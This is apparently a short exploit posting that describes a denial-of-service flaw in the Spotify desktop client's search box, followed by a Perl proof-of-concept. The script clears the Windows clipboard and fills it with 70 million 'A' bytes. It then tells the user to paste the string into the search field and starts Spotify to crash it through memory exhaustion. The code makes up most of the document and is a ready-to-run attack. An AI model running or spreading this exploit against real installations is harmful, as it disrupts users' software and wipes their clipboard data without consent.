The vulnerability is caused due to the Search box function not checking the boundary of user input. This can be exploited to cause a DoS due to memory exhaustion when inserting a long string of bytes (~80mil B / 80 MB) into the Search field in the GUI.
use Win32::Clipboard; $leepy = Win32::Clipboard();
print "\n[i] Clearing your Clipboard data...\n";
sleep 2; print "\n - Done!\n"; sleep 1; $leepy->Empty();
$tring = "\x41" x 70000000; $leepy->Set($tring);
print "\n\n*----- Log In and just Paste \/ CTRL+V";
print " into the search box -----*\n\n";
system pause; print "\n\n[*] Starting Spotify\n"; sleep 1;
system('start C:\\Docume~1\\%username%\Applic~1\\Spotify\\spotify.exe');
